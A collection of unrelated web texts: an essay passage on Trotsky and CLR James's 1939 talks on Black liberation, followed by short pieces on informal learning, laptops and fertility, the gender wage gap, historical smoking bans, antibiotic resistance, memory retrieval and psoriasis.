During the 1930s the American Trotskyist movement, which in 1938 had formed itself into the Socialist Workers Party (SWP), increased its membership during the Great Depression and the accompanying explosive growth of American trade unionism. However, despite the fact that the SWP now had several dozen black members, Trotsky was still deeply worried about the American Trotskyist movement’s failure to build anything like the kind of links with the black population of the United States that the American CP had succeeded in doing during the 1930s through campaigning defence work.33
In 1938 Trotsky arranged for the black Trinidadian Marxist historian and “class-struggle pan-Africanist” CLR James (1901-1989), perhaps the intellectual driving force of British Trotskyism during the 1930s, to come over to the United States for a six-month lecture tour. As Trotsky told James when they met to discuss the Negro question in Coyoacán in April 1939, “I believe that the first question is the attitude of the Socialist Workers Party towards the Negroes. It is very disquieting to find that until now the party has done almost nothing in this field.” Trotsky warned that the SWP would not only not be able to “develop” but would “degenerate” unless it entered the struggle more seriously. As “the most oppressed and discriminated” section of the population, black people were “the most dynamic milieu of the working class” and destined to be “a vanguard of the working class”. If the SWP could not relate to them, “then we are not worthy at all. The permanent revolution and all the rest would be only a lie”.34
Meeting CLR James
By the time Trotsky met James in early April 1939 American Trotskyist leaders already deferred to the author of The Black Jacobins (1938) as the movement’s leading authority on the black liberation struggle and distinctive cultural traditions of black Americans. Though James had only been in the United States for six months, in Britain he had worked closely with his boyhood friend from Trinidad, George Padmore, a former member of the American CP and until 1933 the leading figure in the Communist International on the black and colonial question. James had also met several black Americans in Britain such as Paul Robeson and had already written briefly on the history of the struggles of black people in America in A History of Negro Revolt (1938). Perhaps because of his reading of Shachtman’s Communism and the Negro, Trotsky in 1939 was now much better acquainted with weaknesses of the slogan of “Self-determination for the Black Belt” and considered the Communist “attitude of making an imperative slogan of it” to be mistaken. “It was a case of the whites saying to the Negroes, ‘You must create a ghetto for yourselves.’ It is tactless and false and can only serve to repulse the Negroes.”
Trotsky did, however, convince James that there was nothing whatsoever “reactionary” about the slogan in itself, as James had suggested in his “Preliminary Notes on the Negro Question” (1939), circulated before the discussion, as “to fight for the possibility of realising an independent state is a sign of a great moral and political awakening. It would be a tremendous revolutionary step.” In a slight retreat from his earlier position, Trotsky argued, “I do not propose for the party to advocate, I do not propose to inject, but only to proclaim our obligation to support the struggle for self-determination if the Negroes themselves want it”.35 Trotsky and James came to agree on this and much else, though as we have seen, like Shachtman, James had been sceptical of the whole idea of a Black Belt from the start. “You seem to think that there is a greater possibility of the Negroes wanting self-determination than I think is probable,” James told Trotsky. “But we have a 100 percent agreement on the idea which you have put forward that we should be neutral in the development” and support the “right to self-determination” if demanded by black Americans themselves without declaring it a demand in advance.36
In his “Preliminary Notes on the Negro Question”, James had put the case for the SWP supporting the formation of “a Negro organisation” that would aim at “the organisation of a Negro movement” to fight for civil and political rights and full participation in trade unions.37 It seems James had in mind something rather like an American branch of the International African Service Bureau (IASB) that he had been involved with in Britain—a politically radical pan-African organisation that would be independently organised by black people. After a six month tour speaking on behalf of the Trotskyist movement in America and through his other contacts he had made as a representative of the IASB in America, James felt the potential to build such an organisation as a mass organisation was there in the US in a way that it was not in Britain, where the black population was miniscule in comparison. Because American blacks “individually and in the mass…remain profoundly suspicious of whites”, James insisted it was necessary to build an essentially all black organisation that would try and set the masses “in motion, the only way in which they will learn the realities of political activity and be brought to realise the necessity of mortal struggle against capitalism”.38
Trotsky’s positive reaction to James’s proposal shows his flexibility as a Marxist theorist and strategist: “What Comrade Johnson [James’s pseudonym] tells us now is very important… Theoretically it seems to me absolutely clear that a special organisation should be created for a special situation.” Indeed, “the large masses of the Negroes are backward and oppressed and this oppression is so strong that they must feel it every moment; that they feel it as Negroes. We must find the possibility of giving this feeling a political organisation expression.” “Our movement is familiar with such forms as the party, the trade union, the educational organisation, the cooperative, but this is a new type of organisation which does not coincide with the traditional forms,” Trotsky noted. But he was willing to see the potential possibilities and support the setting up of such a new project, given the specific circumstances of the period. “If another party had organised such a mass movement, we would surely participate as a fraction, providing that it included workers, poor petty bourgeois, poor farmers, and so on.” Yet Trotsky wisely urged caution and noted there were huge difficulties ahead, difficulties that might indeed prove insurmountable. Not only was the international Trotskyist movement in the midst of being persecuted by Stalinist terror and slander but also the American SWP was too small and crucially still not yet clear enough itself on the black question. As Trotsky put it, “The question remains as to whether we can take upon ourselves the initiative of forming such an organisation of Negroes as Negroes.” James had noted that there was disillusion among some black intellectuals because of the betrayals of Stalinism (the Soviet Union had famously sold oil to Mussolini at the time of Fascist Italy’s barbaric war on the people of Ethiopia), but as Trotsky replied, “the real question is whether or not it is possible to organise a mass movement” given the existing difficulties confronting the tiny Trotskyist movement.39
Nonetheless, James and Trotsky agreed in theory to try and prepare for the future initiation of such an organisation with Trotskyist support. A week or so after the meeting James wrote in a private letter that “I shall have to do a few months of intensive study, before we launch the organisation…I shall probably have to go to Africa some time. All these things have to be worked out.” James, however, noted that Trotsky “is the keenest of the keen on the N[egro] question”. “He is certainly a most remarkable personality and it is easy to see a very great orator… He agreed almost entirely with my memo on the Negro question. On self_determination, in particular there was no difficulty. If the Negroes want it, then we are in favour, but we do not advocate it. Which, it seemed to me, was always the obvious position.” A few days later, James wrote again:
I have been thinking over the Negro question… I have talked much with LT [Leon Trotsky], and have been thinking over all that he said. I am now certain that no one in America, none in the party, has ever seen the Negro question for the gigantic thing it is, and will increasingly be. LT sees it, I was groping towards it. I begin to see it now, every day more clearly.40
In July 1939 the SWP convention did not discuss the possibilities of helping to launch a black organisation but accepted two resolutions drafted by James. After the convention James headed up a newly formed national Negro department of the SWP, established a column on “The Negro Question” for the SWP paper, Socialist Appeal, and held classes on black history. The December 1939 edition of the theoretical journal New International was a “Special Negro Number” with a superb article by James on “Revolution and the Negro”. By March 1940 the new strategy had led to the recruitment of about 30 new black members and James noted with satisfaction that the CP was currently “carrying on a furious campaign in its classes on Negro work against the ‘Trotskyite line’ on the Negro question”. Back in Mexico, Trotsky was himself very satisfied when he asked an American visitor about James’s work and was told the Negro department “was going night and day”.41
While the challenge of the Second World War and the subsequent divisions in the American Trotskyist movement over the class nature of Stalinist Russia meant that James’s and Trotsky’s plans for helping to launch a black organisation never got off the ground, the exchange between the two of them remains remarkable and repays rereading. As Scott McLemee notes, “the discussion between Trotsky and James was not one between master and disciple. Nor was it a debate. Rather, a genuine dialogue took place”, ranging from the nature of Garveyism to the reactionary nature of both Democrat and Republican parties.42
Some of the specific campaigning ideas suggested at this meeting were indeed to be taken up in the civil rights movement of the 1950s. James, for example, suggested that racial “discrimination in restaurants should be fought by a campaign. A number of Negroes in any area go into a restaurant all together, ordering for instance some coffee, and refuse to come out until they are served. It would be possible to sit there for a whole day in a very orderly manner and throw upon the police the necessity of removing these Negroes.” Trotsky agreed, adding, “Yes, and give it an even more militant character. There could be a picket line outside to attract attention and explain something of what is going on”.43 It is some tribute to Trotsky’s grasp of the dynamics of race and revolution in the US by 1939 that James, even after he had broken with orthodox Trotskyism, would always consider Trotsky as “one of the few who after a few hours of talk have left me as tired as if I had been put through a wringer. His responses to difficult questions were so unhesitating, so precise, and so took the subject on to unsuspected but relevant areas, that I felt it was I who was undergoing examination”.44
In a 1980 conversation with David Widgery, James recalled how “tremendously impressed” he had been overall. “Trotsky started with the analysis—international, political, philosophical. But the action, the activity, always followed. I got a glimpse of what Bolshevism of the old school meant”.45
From Trotsky to today
Tony Cliff once noted that “the ideas of Trotsky can be very much like a stream. The stream disappears from sight and then reappears miles later. The stream hadn’t dried up—it was just obscured from our sight below the surface”.46 Trotsky’s ideas on black liberation in the United States must count as among his most overlooked contributions to Marxist theory, indeed remaining in private archives for 27 years after his murder. It was not until the rise of the Black Power movement that the transcripts of Trotsky’s discussions were published by the American Trotskyist movement. Yet the fact that Trotsky recognised the validity of independent black self-activity and self-organisation in the struggle for black liberation was to be of immense importance in enabling at least elements of that movement to more effectively prepare for the civil rights movement when it exploded in the 1950s, and relate to black nationalist figures such as Malcolm X.47
Today events such as Hurricane Katrina are feeding a growing political radicalisation among black Americans and others in the heart of the beast of American capitalism, testimony to which can be seen in the mass mobilisation which helped propel Barack Obama into power. Much of Trotsky’s discussion on the Negro question is structured within the slightly abstract framework of “the right to self-determination”. Yet from his meeting with Claude McKay right through to his meeting with CLR James, Trotsky was always attempting to relate abstract concepts such as “self-determination” to the concrete struggle against racism in America through a discussion about the kind of political and organisational strategies necessary. In doing so, Trotsky stood in the finest traditions of revolutionary Marxism—dating back to Marx’s own support for those Trotsky called “the Negro slaves of American capitalism” during the American Civil War.
While Barack Obama may symbolise the massive desire for “change” in America, and his victory indeed opens up new opportunities for the American left, his success ultimately signifies merely one register of the historic progress made so far through previous struggles for black liberation in the United States.48 In the struggles ahead, it is not enough for Marxists to simply champion the cause of black liberation, vitally important though that is. The inherent limitations of black nationalism, whether in a cultural or political form, mean that revolutionary socialists must also organise politically to ensure such movements are united with the wider struggle for human emancipation from exploitation and other forms of oppression. As Trotsky himself must have briefly sensed after 1917, the satisfaction of being able to finally register the arrival onto the stage of history of a permanent antidote to the poison of racism will only come in the afterglow of victorious socialist revolution.
1: Knei-Paz, 1979, p555. Many thanks to the editors of this journal and also to Weyman Bennett, Paul Blackledge, Charlie Hore, David Howell and Mark Thomas.
2: Young, 1988, p197.
3: Choonara, 2007, p3.
4: Deutscher, 1979, p6.
5: Trotsky, 1979, pp38, 68-74.
6: Choonara, 2007, p10. Cliff, 1989, pp97-99.
7: Trotsky, 1979, pp280-281.
8: James, 1999, pp94-95.
9: James, 1999, pp51, 93-94, 165-166, 183.
10: McKay, 1969, p206. From December 1919 to January 1921 McKay experienced racism in imperial Britain, see James, 2003. On the ABB, the early years of the Communist International and American Communists on the “Negro question”, see Shawki, 2006, pp128-137.
11: James, 1999, pp180, 272, 276. See also McKay, 1923.
12: McKay, 1969, pp158, 167-168.
13: McKay, 1922.
14: McKay, 1969, pp206-207.
15: McKay, 1969, p208. As Winston James notes of these Russian “black Bolsheviks”, they were “mainly descendants of Africans who had settled several generations before along the Black Sea. They fought, distinguished themselves and rose in Trotsky’s Red Army, moistened the Russian soil with their blood during the Civil War, and at least one served in the Soviet of Tblisi, the capital of Georgia in the 1920s”-James, 1999, p167.
16: McKay, 1969, pp182, 209.
17: Trotsky, 1972b, pp354-356. McKay himself would soon politically shift away from revolutionary socialism but never embraced Stalinism. As his friend-and Trotsky’s translator-Max Eastman noted, McKay “did not conceal his contempt for the increasingly ruthless tyranny over man’s mind and body that he saw growing out of the great revolution that had lifted him so high…his last years were passed in sickness; he could not write much; and he was destitute. One word on the Communist side would have brought him ease, comfort, contemporary fame and a good income. But he would not speak it. He chose instead to live in penury, and watch his fame and popularity gradually disappear from the earth”-Eastman, 1953, p112.
18: Phelps, 2003, pxxix.
19: Trotsky, 1972a, p5.
20: Trotsky, 1972a, p12.
21: Trotsky, 1972a, pp12-13, 15, 17.
22: Trotsky, 1972a, pp14, 18.
23: Trotsky, 1972a, pp13, 17.
24: Löwy, 1998, p68.
25: Trotsky, 1972a, pp13, 16.
26: Marx, 1976, p414.
27: Trotsky, 1972a, p18.
28: Trotsky, 1972a, pp15, 17. Antonio Gramsci made the same point in The Prison Notebooks: “Every religion is in reality a multiplicity of distinct and contradictory religions.”
29: Trotsky, 1972a, p14. Phelps, 2003, pxxxvi.
30: Trotsky, 1972a, p9. Phelps, 2003, plvii.
31: Trotsky, 1972a, p18. Phelps, 2003, pxl. Shachtman’s “Communism and the Negro” was published in 2003 as Race and Revolution with Phelps’s invaluable introduction.
32: Phelps, 2003, pxxi.
33: Phelps, 2003, pxliii.
34: Trotsky, 1972a, pp23, 42-43. For a brief introduction to James, see Høgsbjerg, 2006.
35: Trotsky, 1972a, pp29, 31-32.
36: Trotsky, 1972a, p31.
37: McLemee, 1996, p9.
38: Trotsky, 1972a, pp21, 39. James hoped, for example, in 1939 to “establish the [IASB journal] International African Opinion as a monthly theoretical journal, financed to some degree from America, [and] make it twice its present size”.
39: Trotsky, 1972a, pp33-36.
40: Grimshaw, 1990, pp38-39, 49.
41: McLemee, 1996, pxxii; James, 1939. This kind of concrete practical work that took place following Trotsky and James’s 1939 discussion suggests that it is slightly unfair to accuse them both of being “utopian”, and tending towards an “overestimation of the opportunities and prospects for revolutionaries” on the basis of some of the language used in their discussion, as Ahmed Shawki does-Shawki, 2006, p150. Shawki’s previous discussion of the 1939 discussions, for all its strengths, also tends to read James’s later spontaneist politics back into these discussions in a way which risks confusing more than it clarifies. See Shawki, 1990.
42: McLemee, 1996, pxxi.
43: Trotsky, 1972a, pp40, 46.
44: James, 1969, p249.
45: Widgery, 1989, p124. For James’s discussions with Trotsky about Bolshevism as well as black nationalism, see James, 1984.
46: Cliff, 2003, p267.
47: In 1965, while in London, Malcolm X told Jan Carew, “I’m a Muslim and a revolutionary and I’m learning more and more about political theories as the months go by. The only Marxist group in America that offered me a platform was the Socialist Workers Party. I respect them and they respect me.” Quoted in Boggs, 1998, p282. For more on Malcolm X, see Ovenden, 1992, and Shawki, 2006, pp170-186.
48: It would be foolish to speculate about exactly what either Trotsky or James would have made of Obama, but James’s comments on Jesse Jackson may be of interest. In July 1988 James was visited by the West Indian novelist George Lamming and the American historian Vincent Harding. Lamming remembers that James “asked after Jesse Jackson, and his prospects in the American presidential campaign. Harding gave, stage by stage, an account of Jackson’s rise to prominence. And then CLR said, with that old characteristic circle of the hand, ‘I have been following this rise, but tell me, does he know where he is going to land?’” Lamming, 1992, p200.
Boggs, Grace Lee, 1998, Living for Change: An Autobiography (University of Minnesota).
Choonara, Esme, 2007, A Rebel’s Guide to Trotsky (Bookmarks).
Cliff, Tony, 2003, Marxist Theory After Trotsky: Selected Writings, volume 3 (Bookmarks).
Cliff, Tony, 1989, Trotsky: Towards October, 1879–1917 (Bookmarks).
Deutscher, Isaac, 1979, The Prophet Armed—Trotsky: 1879–1921 (Oxford University).
Eastman, Max, 1953, “Biographical Note”, in Selected Poems of Claude McKay (Bookman).
Grimshaw, Anna (ed), 1990, Special Delivery: The letters of C.L_._R. James to Constance Webb, 1939–1948 (Blackwell).
Høgsbjerg, Christian, 2006, “CLR James: The Revolutionary as Artist”, International Socialism 112 (autumn 2006), www.isj.org.uk/?id=253
James, CLR, 1984, At the Rendezvous of Victory: Selected Writings, volume three (Allison & Busby).
James, CLR, 1969, Beyond a Boundary (Hutchinson).
James, CLR, 1939, “Revolution and the Negro”, www.marxists.org/archive/james-clr/works/1939/12/negro-revolution.htm
James, Winston, 2003, “A Race Outcast from an Outcast Class: Claude McKay’s Experience and Analysis of Britain”, in Bill Schwarz (ed), West Indian intellectuals in Britain (Manchester University).
James, Winston, 1999, Holding Aloft the Banner of Ethiopia: Caribbean Radicalism in Early Twentieth Century America (Verso).
Knei-Paz, Baruch, 1979, The Social and Political Thought of Leon Trotsky (Oxford University).
Lamming, George, 1992, “CLR James, Evangelist”, in Richard Drayton and Andaiye (eds), Conversations—George Lamming: Essays, Addresses and Interviews 1953–1990 (Karia).
Löwy, Michael, 1998, Fatherland or Mother Earth? Essays on the National Question (Pluto).
Marx, Karl, 1976 Capital, volume one (Penguin).
McKay, Claude, 1969, A Long Way from Home (Arno).
McKay, Claude, 1922, “Report on the Negro Question: Speech to the Fourth Congress of the Comintern”, www.marxists.org/subject/usa/eam/
McKay, Claude, 1923, “Soviet Russia and the Negro”, www.marxists.org/subject/usa/eam/
McLemee, Scott (ed), 1996, CLR James on the “Negro Question” (University of Mississippi).
Ovenden, Kevin, 1992, Malcolm X: Socialism and Black Nationalism (Bookmarks).
Phelps, Christopher, 2003, “Introduction—Race and Revolution: A Lost Chapter in American Radicalism”, in Shachtman, Max, Race and Revolution (Verso).
Shawki, Ahmed, 1990, “Black Liberation and Socialism in the United States”, International Socialism 47 (summer 1990).
Shawki, Ahmed, 2006, Black Liberation and Socialism (Haymarket).
Trotsky, Leon, 1979, My Life: An Attempt at an Autobiography (Penguin). An alternative version is available at www.marxists.org/archive/trotsky/1930/mylife/
Trotsky, Leon, 1972a, On Black Nationalism and Self–Determination (Pathfinder).
Trotsky, Leon, 1972b, The First Five Years of the Communist International, volume two (Pathfinder). An alternative version is available at www.marxists.org/archive/trotsky/1924/ffyci-2/
Widgery, David, 1989, Preserving Disorder: Selected Essays, 1968–88 (Pluto).
Young, James, D, 1988, Socialism since 1889: A Biographical History (Rowman & Littlefield). |
Try setting up some “learn together” sessions. Last spring, members of Insync Training’s Facebook community realized that the popularity of handheld devices was bringing in a new age of apps for conducting virtual classroom sessions via smartphone and tablet. Organizers invited group members to an online “rodeo” to test out the apps with the explicit caveat: “There will be no instruction, and we cannot troubleshoot. We’re learning, too.” Thirty people came, on their own time and of their own volition, to participate in something pretty much guaranteed to be frustrating. But learn we did. See http://realworkplacelearning.com/2011/07/16/this-is-how-we-learn-the-insync-app-rodeo/.
Help learners become more aware of learning
So much learning is informal and unconscious; often learners don’t think of it as “learning something” but as “solving a problem.” Research from Allen Tough tells us that the typical (in the research, middle-class) adult engages in five self-directed learning projects a year, investing an average of 100 hours in each. The problem is, most adults don’t think of themselves as embarking on self-directed learning projects. They think of it as figuring out how to build a deck, or how to win at World of Warcraft, or how to get the best deal on a new car. They choose their own methods, from Googling, to practicing, to asking Joe the coworker, to attending workshops at the local hardware store. |
Do you regularly lie on the sofa or in bed with your laptop? If so, it now appears you don’t have to worry too much about it affecting your fertility
According to several US doctors, having a laptop resting near your reproductive organs is not going to stop you having children.
The panel of experts spoke to The Verge online magazine about the risks.
Dr John Amory, an endocrinologist at the University of Washington State Medical Centre told blogger Ashley Carmen: “The good news is that laptop use shouldn’t have any negative impact on fertility.”
Infertility fellow at Stanford University, Dr Sara Vaughn agreed, saying: “At this point there has not been enough definitive studies for us to recommend citations against laptops.”
But the main concerns for men seem to surround radiation and external heat a laptop produces.
Dr Micheal Eisenburg, urologist and professor at Stamford University said there could be a minor risk in men
He said: “Testicles are outside the body because they need to be kept a little cooler, so anything that could heat them up can be an issue and laptops could essentially do that. I generally tell men to avoid doing it.
“It’s unlikely that a laptop is the whole story, but it could be one component that could improve things if avoided.”
Something men should definitely avoid is hot tubs as the high temperature can have an adverse affect on sperm production, and those affects might not be known for many months later due to the amount of time takes to produce sperm.
Dr Amory says the best way to avoid any concerns about laptops in men is to use a desk instead of your lap.
Opiates have been proven to decrease sperm production as does alcohol, so he states these should be avoided.
For women it is a different story, as their ovaries are internal and protected by the abdomen and pelvis.
Laptop heat would not affect ovaries or eggs, but pregnant women should not put directly onto their stomachs.
Dr Vaughn said: “The ovaries are very much protected in a way that testicles are not, I do not worry about the theoretical risk, it’s certainly not something I bring up with patients.”
When talking about laptop radiation, Dr Amory said the amount is minimal, it could be compared to the same you would be exposed to when flying or in every day life.
So, if you’re at all worried about your fertility just use a desk rather than a lap.
To learn more about male fertility, why not visit the Men’s Room
[arve url=”https://youtu.be/5eHOJCXzjgY” /] |
Information sites about the internet and using the internet for kids or teens.
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[ Kids/Teens ] Learn about the web and browsers in this interactive experience created by Google and illustrated by Christoph Niemann.
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[ Teens/Mature Teens ] Tutorials on surfing the Internet, e-mail, finding information, and online safety.
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[ Teens/Mature Teens ] A list of websites to help find reference information online.
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[ Teens/Mature Teens ] A tutorial of the Internet. Lessons include getting connected, exploring the Web, e-mail, chat, downloading files, researching, and netiquette.
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[ Teens/Mature Teens ] How to evaluate different types of web pages. Includes questions and criteria lists. Lists 5 main criteria to use for all web pages.
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WWW CyberGuide Ratings for Content Evaluation
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Though women’s leaps in educational progress have narrowed the gender wage gap, their earnings still trail those of men. Women’s path to equal pay remains inhibited by discrimination and their concentration in low-paying majors and occupations.
View and download our infographic, which illustrates the reasons why women can’t win when it comes to the gender wage gap.
Gender Wage Gap Interactive Tool
Explore the data on the gender wage gap by college major using our interactive tool.
Watch the Video
Watch this video to learn more about the gender wage gap.
Women Can’t Win: Despite Making Educational Gains and Pursuing High-Wage Majors, Women Still Earn Less than Men explores the complex set of reasons that have kept the gender wage gap in place. Even when comparing men and women who have equal educational attainment and work in the same occupation, women still earn only 92 cents for every dollar earned by men. |
Flashbacks: "To Smoke or Not to Smoke?"
Articles from the 1860s to the 1990s take up the contentious question.
When the French National Library airbrushed the cigarette out of Jean-Paul Sartre’s hand in a 2005 poster of the iconic, chain-smoking philosopher, you knew it was only a matter of time. This February, France joins a growing number of jurisdictions that have implemented far-reaching smoke-free legislation—including such unusual suspects as Cuba (after Fidel Castro gave up cigars in 1986) and Hong Kong (which has temporarily exempted mah-jongg parlors and a few other places). But while the current antismoking phenomenon may appear unstoppable, a look back reveals that tobacco bans are hardly new—and rarely permanent. Here are some of the earlier smoke-free movements in history.
1624: On the logic that tobacco use prompts sneezing, which too closely resembles sexual ecstasy, Pope Urban VIII issues a worldwide smoking ban and threatens excommunication for those who smoke or take snuff in holy places. A century later, snuff-loving Pope Benedict XIII repeals all papal smoking bans, and in 1779, the Vatican opens its own tobacco factory.
1633: Sultan Murad IV prohibits smoking in the Ottoman Empire; as many as eighteen people a day are executed for breaking the law. Murad’s successor, Ibrahim the Mad, lifts the ban in 1647, and tobacco soon becomes an elite indulgence—joining coffee, wine, and opium, according to a historian living under Ibrahim’s reign, as one of the four “cushions on the sofa of pleasure.”
1634: Czar Michael of Russia bans smoking, promising even first-time offenders whippings, floggings, a slit nose, and a one-way trip to Siberia. By 1674, smokers are deemed criminals subject to the death penalty. Two years later, the smoking ban is lifted.
1646: The General Court of Massachusetts Bay prohibits citizens from smoking tobacco except when on a journey and at least five miles away from any town. The next year, the Colony of Connecticut restricts citizens to one smoke a day, “not in company with any other.” Though some statutes remain on the books for decades, enforcement diminishes, and by the early 1700s, New England is a major consumer and producer of tobacco.
1891: Angered by the shah’s generous tobacco concession to England, Iranians protest widely, and the Grand Ayatollah Haji Mirza Hasan Shirazi issues a fatwa banning Shiites from using or trading tobacco. The tensions spark the Tobacco Rebellion—the culmination of a long-standing confrontation between Iran’s shahs and its clergy over foreign influence. The following year, once the country’s business dealings with the Brits are revoked, Iran’s Shiites happily resume smoking.
1895: North Dakota bans the sale of cigarettes. Over the next twenty-six years, fourteen other statehouses, propelled by the national temperance movement, follow suit. Antismoking crusader Lucy Gaston announces her candidacy for president in 1920—the same year Warren G. Harding’s nomination is decided by Republican Party bosses in a “smoke-filled room.” By 1927, all smoke-free legislation—except that banning the sale of cigarettes to minors—is repealed.
1942: Adolf Hitler calls tobacco “the wrath of the Red Man against the White Man, vengeance for having been given hard liquor,” and directs one of the most aggressive antismoking campaigns in history, including heavy taxes and bans on smoking in many public places. The country’s antismoking movement loses most of its momentum after the Nuremberg trials, and by the mid-1950s, domestic consumption exceeds prewar levels. |
On the 14th and 15th of December 2016, the Consortium of the DIAGORAS project met in the Hoboken Salon of the Natural History Museum of Rotterdam. This 4th meeting was both an opportunity to share and talk with each other about the latest advances of the DIAGORAS project but also the perfect moment to discover the exhibition “Antibiotics: how much longer?” that the Consortium had contributed to together.
Antibiotic Resistance is a serious threat
Since the first World Awareness Antibiotic Week in 2013, the World Health Organization (WHO) launches campaigns every year against Antibiotic Resistance in order to reduce the misuse of antibiotics but also to prevent a global health issue that could move us backwards to earlier days of healthcare.
However, bacteria evolve so fast that we are currently in a race against the clock. This year, several cases of superbugs resistant to all antibiotics were recorded in hospitals of the United States and in China. The first case of death from a superbug resistant to antibiotics was reported officially in January 2017. It concerned a woman in her 70s from Nevada, who was infected with the Klebsiella pneumoniae, called “nightmare bacteria” by the Centers for Disease Control and Prevention (CDC) because of its ability to spread antimicrobial resistance (AMR) to other bacteria types. This case should be taken as the ultimate warning before it’s too late as the results of testing from the Washoe County hospital revealed that K. pneumoniae was resistant to the 26 antibiotics available in the United States.
In addition to implementing the DIAGORAS project, one of our priorities is to inform the general public about AMR. We hope our latest research advances will contribute to the fight against AMR before our world enters a post-antibiotic era, where a simple infection could kill us again, as it was the case before the discovery of penicillin in 1928 by Alexander Fleming.
Our aim is to make people realise the seriousness of this threat that could kill more than 10 million people a year by 2050, if there’s no new discovery in this field. As the members of DIAGORAS deeply feel concerned about this threat, we invested in communication about antibiotic resistance with the general public by the means of an exhibition.
An exhibition to communicate with the general public
The exhibition retraces the research history of antibiotics from the discovery of penicillin in 1928 by Alexander Fleming up to now. Furthermore, it explains in detail what we are fighting against, the role of antibiotics and the importance to use them sparingly. Not only have the bacteria evolved but also the equipment used for research. The exhibition allows the visitors to see how researchers used to work throughout history and visitors can see how bacteria can respond to antibiotics thanks to some exposed Petri dishes in the room.
Even though the exhibition is in Dutch, a flyer transcription of the content is available in English.
In the centre of the room, we all tried a device able to detect the bacteria on our hands which have developed an antibiotic resistance. Right after the test, a display on the wall switches on and a scientist explains in a video the results of the analysis. This is an attractive and interesting manner to raise awareness about antimicrobial resistance especially among the children. Indeed, during the scan of your hand, you can see that several dots appear, the more dot you see, the more resistant bacteria are present.
We genuinely hope that this exhibition will reach the general public and help make antimicrobial resistance one of the priorities in research in order to find a new solution before it’s too late. The exhibition “Antibiotics: how much longer?” is located on the first floor of the Natural History Museum of Rotterdam and will be accessible until the 13th of August 2017.
Partly sponsored by the DIAGORAS project, this exhibition summarises the reasons why our project has been created, gathering a European team of experts from different fields such as medicine, engineering, industry and communication to find a solution to this threat before it’s too late. Our mission is to conceive and develop a device able to diagnose oral and respiratory tract infections and identify antibiotic resistance, which will help health workers to deliver a personalised treatment for each patient.
Chen L, Todd R, Kiehlbauch J, Walters M, Kallen A. Notes from the Field: Pan-Resistant New Delhi Metallo-Beta-Lactamase-Producing Klebsiella pneumoniae — Washoe County, Nevada, 2016. MMWR Morb Mortal Wkly Rep 2017;66:33. DOI: http://dx.doi.org/10.15585/mmwr.mm6601a7
Review on Antimicrobial Resistance, chaired by Jim O’Neill, December 2014, p.6, https://amr-review.org/sites/default/files/AMR%20Review%20Paper%20-%20Tackling%20a%20crisis%20for%20the%20health%20and%20wealth%20of%20nations_1.pdf |
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So much of memory is a puzzle. How can the experiences of alifetime—the sights and sounds, people and places, successes andfailures—be recorded in the soft tissue of the brain? How can thosememories persist for decades even as the neurons that encode themundergo constant molecular remodeling? And how can we (moreoften than not) recall a particular bit of information almost instanta-neously, and with little prompting?This last question may be the most mysterious of all. “Retrievalis such a rich phenomenon,” says Michael Hasselmo, a neuro-scientist at Boston University. “You get a reminder from somebodythat’s maybe just a word and you somehow turn it into a rich internalmovie of events that you’re moving through with a perspective anda location and a sense of time passing.” Our memories are part of what makes each of us unique (see p. 35), and they give us a sense of self-identity and continuity as we move through life. “Without our memories, we’re just zombies,” says György Buzsáki, a neuroscien-tist at New York University in New York City.The neuroscience of memory is a complex and contentious area, but most researchers agree on a broad-brush account that goessomething like this, at least for episodic memories, or memories of events. These memories are initially encoded and stored mostly in thehippocampus, deep inside the temporal lobe of the brain. For long-term storage, memories are filed away to other areas, includingthe neocortex, the thin sheet of tissue on the surface of the brain. Amemory of any given event, the thinking goes, is represented by asparse and scattered network of neurons, such that the sights, sounds,and emotions associated with the experience may each reside in adifferent location. To recall that memory, the brain must somehowreactivate just the right subset of neurons. Many details of this pro-cess are not known (or are disputed). Even so, some researchers sayit’s time to revise some aspects of the standard view—such as thenotion that the hippocampus is not involved in retrieving older epi-sodic memories, and that memories become fixed and unchangeableonce transferred to the neocortex. Newer work suggests a far morefluid role of memory, and one in which retrieval plays a crucial rolein shaping memory over time.So what should researchers look for if they hope to learn how the brain recalls the past? One clue comes from functional magnetic res-onance imaging (fMRI) studies of the human brain suggesting thatremembering reactivates some of the same neural circuitry as theoriginal experience. Recalling a face, for example, activates a part of the fusiform gyrus thought to specialize in face recognition. Recall-ing a place evokes a different pattern of brain activity that includesthe parahippocampal gyrus, an area that lights up when people viewimages of landscapes and other scenes.“We have a pretty good idea that the brain uses the same machin-ery for remembering that it does for experiencing things,” saysLoren Frank, a neuroscientist at the University of California, SanFrancisco. When it comes to episodic memories, Frank says, what’sstored in the brain are little snippets of the experience that can becompiled into a kind of highlight reel. The neural signature of mem-ory retrieval, Frank argues, should look much like the neural signa-ture of the actual experience played in fast-forward.There’s disagreement about how fast the replay should be, butseveral labs, including Frank’s, have found something like this in the
How Are MemoriesRetrieved?
NEXT WEEK, TENS OF THOUSANDS OF
researchers will make their way to NewOrleans, Louisiana, for the annual meet-ing of the Society for Neuroscience, atestament to both the vitality of this dis-cipline and how little we know about thebody’s most complex organ. To identifyand explore some of the brain’s endur-ing mysteries, Senior Editor Peter Sternand the news staff at
have con-sulted with neuroscientists from ourBoard of Reviewing Editors and else-where. The brain mysteries we chose fora closer examination here encompassmedical science, evolutionary biology,cognitive science, and more—and leavemany provocative questions to anothertime (see p. 39).
–LESLIE ROBERTS AND JOHN TRAVIS
5 OCTOBER 2012 VOL 338
Published by AAAS
o n D e c e m b e r 1 9 , 2 0 1 2 w w w . s c i e n c e m a g . o r g D o w n l o a d e d f r o m |
- About Pso
- Pso treatments
- Living with Pso
- Speaking to my doctor
What is Pso?
Psoriasis [pronounced sorr-eye-iss-iss], also called Pso, is a chronic, or ongoing, disease that can appear anywhere on the body.1,2 Psoriasis most commonly affects the skin, but can also affect the nails.2 If you also have swollen, stiff or painful joints, you may have a form of inflammatory arthritis called psoriatic arthritis [pronounced sorr-eye-att-ick arth-rye-tiss] that can affect people with psoriasis.3,4
In Pso, skin cells are replaced every 4-7 days, instead of the usual 21-28 days5
In Pso, the body’s immune system gets ‘confused’ and attacks itself, making new skin cells grow and build up above and just below the surface of the skin.2,6,7 This creates thick red or swollen patches of skin covered in silvery scales called ‘plaques’ that you may recognise.7,8 These patches can
become inflamed, itchy and bleed,7,9 affecting either small or large areas of skin,8 but it’s important to remember that Pso isn’t contagious.5
How psoriasis works5,10
Pso affects at least 100 million people around the world1
Moderate to severe Pso increases the risk of heart disease and stroke.8 Psoriasis is also associated with diabetes, obesity, high blood pressure, inflammatory bowel disease, and there is a small increased risk of skin cancer.8
You may be interested in:
